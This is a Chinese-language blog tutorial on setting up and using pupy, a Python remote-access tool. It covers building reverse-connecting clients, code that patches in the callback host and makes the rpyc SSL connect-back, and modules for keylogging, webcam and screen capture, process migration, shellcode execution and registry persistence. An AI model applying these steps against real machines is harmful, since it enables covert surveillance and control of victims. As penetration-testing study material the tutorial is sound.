0x00 前言


菜鸡我总结一下一个python远控——pupy的使用帮助,github地址为:https://github.com/n1nj4sec/pupy,作者对其能够实现的功能写得很清除。其主要依赖rpyc来实现远程控制,并且使用Python作为脚本语言从而实现跨平台操作,再使用PupyServer和PupyCmd的继承,实现控制端的主要功能,各个模块均继承自PupyModules来通过run命令实现对应模块功能。

client目录存放客户端(受控端)脚本以及一些源文件,docs则是说明文档相关,pupy则是服务端(控制端)相关脚本

cypto中是一些方向ssl连接需要的证书文件,modules中是一些run命令运行的模块脚本,packages中是不同平台上实现模块功能的根本脚本,payload_templates则是生成客户端exe及dll的模板,pupylib中是服务端核心功能中几个重要的类文件,pupy.conf是配置文件设置服务地址端口,颜色显示及命令别名,pupygen.py生成Windows平台上的exe或dll客户端,pupysh.py则是pypushell主程序

0x01 准备


1.生成Windows上的客户端

github的ReadMe里面都写得很清楚,这里我开了3个虚拟机,服务端(主控端)的Kali2(172.16.162.130),客户端(受控端)的xp(172.16.162.133)和Kali(172.16.162.129),穷屌我这里就不测试Mac了

对于Windows主要是通过pupy文件夹下的pupygen.py生成对应x86或x64平台的exe或dll(用于反向注射)

host为回连主机地址,-p指定回连端口,-t指定生成文件类型,-o指定生成文件名,然后生成对应二进制文件

i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
...
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
...
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]

找到二进制文件中对应的标志位,再将host及ip写入

2.生成Kali上的客户端

Windows平台下如果有Python,rpyc,pupy也是类似的

rhost,rport=None,None
        tab=HOST.rsplit(":",1)
        rhost=tab[0]
        if len(tab)==2:
            rport=int(tab[1])
        else:
            rport=443
        print "connecting to %s:%s"%(rhost,rport)
        conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)

默认是443端口并以冒号分割,再使用rpyc模块进行ssl连接到控制端,循环等待并打印出连接信息

0x02 开始


直接运行pupy/pupy/pupysh.py便可以启用客户端(pupyshell),自然使用help或?查看帮助

在pupysh.py中主要是导入pupylib.PupyServer和pupylib.PupyCmd,分别实例化,并使用PupyCmd继承cmd.Cmd中的cmdloop()方法,来解析并执行命令

...
pupyServer=pupylib.PupyServer.PupyServer()
...
pupyServer.start()
    pcmd=pupylib.PupyCmd.PupyCmd(pupyServer)
    while True:
        try:
            pcmd.cmdloop()

有趣的是在有中文版xp的受控端进入后,使用clients或sessions命令时均会出现如下错误

看是解码错误,便在pupylib/PupyCmd.py中在导入模块后再添加以下代码就okay啦

if sys.getdefaultencoding()!='gbk':
  reload(sys)
  sys.setdefaultencoding('gbk')

clients

def do_clients(self, arg):
        """ alias for sessions """
        self.do_sessions(arg)

可以看出来是和sessions的功能一样

sessions

-i是设置过滤器(也可用于其他命令),-g重置过滤器,-l列出所有存活会话,-k杀死选择会话

会话则会列举出”id”, “user”, “hostname”, “platform”, “release”, “os_arch”, “address”这些值

exit

def do_exit(self, arg):
        """ Quit Pupy Shell """
        sys.exit()

直接退出,没什么好说的

jobs

-h帮助,-l列举出所有任务,-k后接job_id杀死该job,-p后接job_id打印出该job输出

python

运行本地的Python环境,用于调试

read

def do_read(self, arg):
    """ execute a list of commands from a file """
    try:
        if not arg:
            self.display_error("usage: read <filename>")
            return
        with open(arg,'r') as f:
            self.cmdqueue.extend(f.read().splitlines())
    except Exception as e:
        self.display_error(str(e))

接受一个文件,并逐行执行命令

0x03 run


首先来介绍一下list_moudules和run命令(和msf很类似)

list_modules

PupyCmd.py:
def do_list_modules(self, arg):
    """ List available modules with a brief description """
    for m,d in self.pupsrv.list_modules():
        self.stdout.write("{:<20}   {}\n".format(m, color(d,'grey')))

PupyServer.py:
def list_modules(self):
    l=[]
    for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__):
        module=self.get_module(module_name)
        l.append((module_name,module.__doc__))
    return l

将modules包中脚本所包含的modules都列举出来,并附加简要说明

各模块支持的平台如下

  • migrate (windows only)
    • inter process architecture injection also works (x86->x64 and x64->x86)
  • keylogger (windows only)
  • persistence (windows only)
  • screenshot (windows only)
  • webcam snapshot (windows only)
  • command execution
  • download
  • upload
  • socks5 proxy
  • local port forwarding
  • interactive shell (cmd.exe, /bin/sh, …)
  • interactive python shell
  • shellcode exec (thanks to @byt3bl33d3r)

run

run命令则是直接运行这些模块

-h帮助,-f设置客户端过滤条件,–bg后台运行,后接模块及其参数

对于过滤条件的设置,可以直接指定clients输出id值,或者是其他冒号分割的名值对

在pupy.conf文件中,主命令info,ps,migrate,exec,pyexe,kill分别具有run modules功能中的别名get_info,ps,migrate,shell_exec,pyexe,process_kill

下面介绍一下相关模块的功能

interactive_shell

交互shell所有平台均支持,这里我把显示Windows的编码换成了cp936,可以良好显示中文啦

shell_exec

直接执行远程shell命令,Windows上的编码还是换成cp936

shell_exec.py:
...
if self.client.is_windows():
    try:
        res=res.decode('cp936')#437')

pyshell

开启远程Python交互shell

pyexec

直接在远程系统上执行Python代码,–file接文件或-c接代码

download

通过使用from rpyc.utils.classic import download,实现从远程系统上下载文件

remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file)
rep=os.path.join("data","downloads",self.client.short_name())
if not args.local_file:
    try:
        os.makedirs(rep)

如果未指明本地路径,则存储在/data/downloads中

upload

通过使用from rpyc.utils.classic import upload实现上传,功能与download相仿

search

在指定path中搜索string

get_info

获取受控端平台信息

exit

退出受控端并确认

ps

列出进程,默认给出’username’, ‘pid’, ‘arch’, ‘exe’的信息,-a则给出’username’, ‘pid’, ‘arch’, ‘name’, ‘exe’, ‘cmdline’, ‘status’

getprivs

获取SeDebug权限

process_kill

杀死pid进程

socks5proxy

开启socks5代理,-p指定端口

portfwd

本地或远程端口转发,远程端口转发还未开发,本地端口转发则是-L [<LOCAL_ADDR>]:<LOCAL_PORT>:<REMOTE_ADDR>:<REMOTE_PORT>,-k则kill掉对应的id转发(id依次增一)

shell_exec

直接执行shellcode

keylogger

键盘记录

screenshot

截屏,-e遍历屏幕,-s SCREEN指定特定的屏幕(穷吊没验证),-v截屏后直接预览

webcamsnap

捕捉网络摄像头,-d DEVICE指定特定的设备(同没验证),-v捕捉后直接预览

migrate

迁移至其他进程(由pid指定)

persistence

persistence.py:
... 
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))

权限维持,写入到注册表中(对应临时目录下的随机命令exe),并开机启动

msgbox

最后作者示范了一下如何编写这个msgbox模块

首先新建一个pupy/packages/windows/all/pupwinutils/msgbox.py ,再写一个你想导入受控端的类或函数

import ctypes
import threading    

def MessageBox(text, title):
    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
    t.daemon=True
    t.start()

然后再创建一个模块来导入我们包和调用我们的函数

class MsgBoxPopup(PupyModule):
    """ Pop up a custom message box """    

    def init_argparse(self):
        self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
        self.arg_parser.add_argument('--title', help='msgbox title')
        self.arg_parser.add_argument('text', help='text to print in the msgbox :)')    

    @windows_only
    def is_compatible(self):
        pass    

    def run(self, args):
        self.client.load_package("pupwinutils.msgbox")
        self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
        self.log("message box popped !")

title指定标题,再接内容